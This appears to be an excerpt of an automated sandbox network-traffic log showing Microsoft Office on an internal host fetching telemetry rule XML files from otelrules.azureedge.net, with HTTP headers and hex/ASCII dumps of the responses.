2024-10-29 17:42:42 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.5	49854	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:42 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:42 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:42 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: c3d8694b-101e-0046-45a3-2691b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174242Z-16849878b786jv8w2kpaf5zkqs00000005mg00000000z0y6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:42 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.5	49855	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:43 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:43 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:43 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 7b68ac53-d01e-0082-7e67-27e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174243Z-16849878b78p49s6zkwt11bbkn00000006k0000000007ytn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 17:42:43 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.5	49857	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:43 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:43 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:43 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 68df6217-401e-0029-6d9c-279b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174243Z-16849878b786jv8w2kpaf5zkqs00000005r000000000hfd2 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:43 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.5	49859	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:43 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:43 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:43 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 6c5e14af-601e-0002-6c01-27a786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174243Z-17c5cb586f6w4mfs5xcmnrny6n00000008k000000000awqz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:43 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.5	49858	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:43 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:43 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:43 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 54290c1c-d01e-008e-01bf-27387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174243Z-16849878b78nx5sne3fztmu6xc00000007x0000000004rm5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 17:42:43 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.5	49856	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:43 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:43 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:43 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: 5c4d015b-701e-0097-6b71-28b8c1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174243Z-15b8d89586ff5l62aha9080wv0000000085000000000bmdv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:43 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.5	49860	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:44 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:44 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:44 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: 60449bdf-301e-005d-500b-26e448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174244Z-16849878b78hh85qc40uyr8sc8000000075000000000cf2v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 17:42:44 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.5	49861	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:44 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:44 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:44 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: cf3e7330-401e-0078-5ca6-264d34000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174244Z-16849878b78wv88bk51myq5vxc000000073g00000000m2w5 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:44 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.5	49863	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:44 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:44 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:44 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: a9595a72-801e-0015-2bad-26f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174244Z-16849878b78fhxrnedubv5byks000000052000000000yq2h x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:44 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.5	49862	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:44 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:44 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:44 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 47e1cb19-101e-0034-6f13-2996ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174244Z-r197bdfb6b4skzzvqpzzd3xetg00000006b0000000005823 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:44 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.5	49864	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:44 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:44 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:44 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: a453eede-301e-0033-02d5-26fa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174244Z-17c5cb586f62blg5ss55p9d6fn00000007n0000000007a0n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:44 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 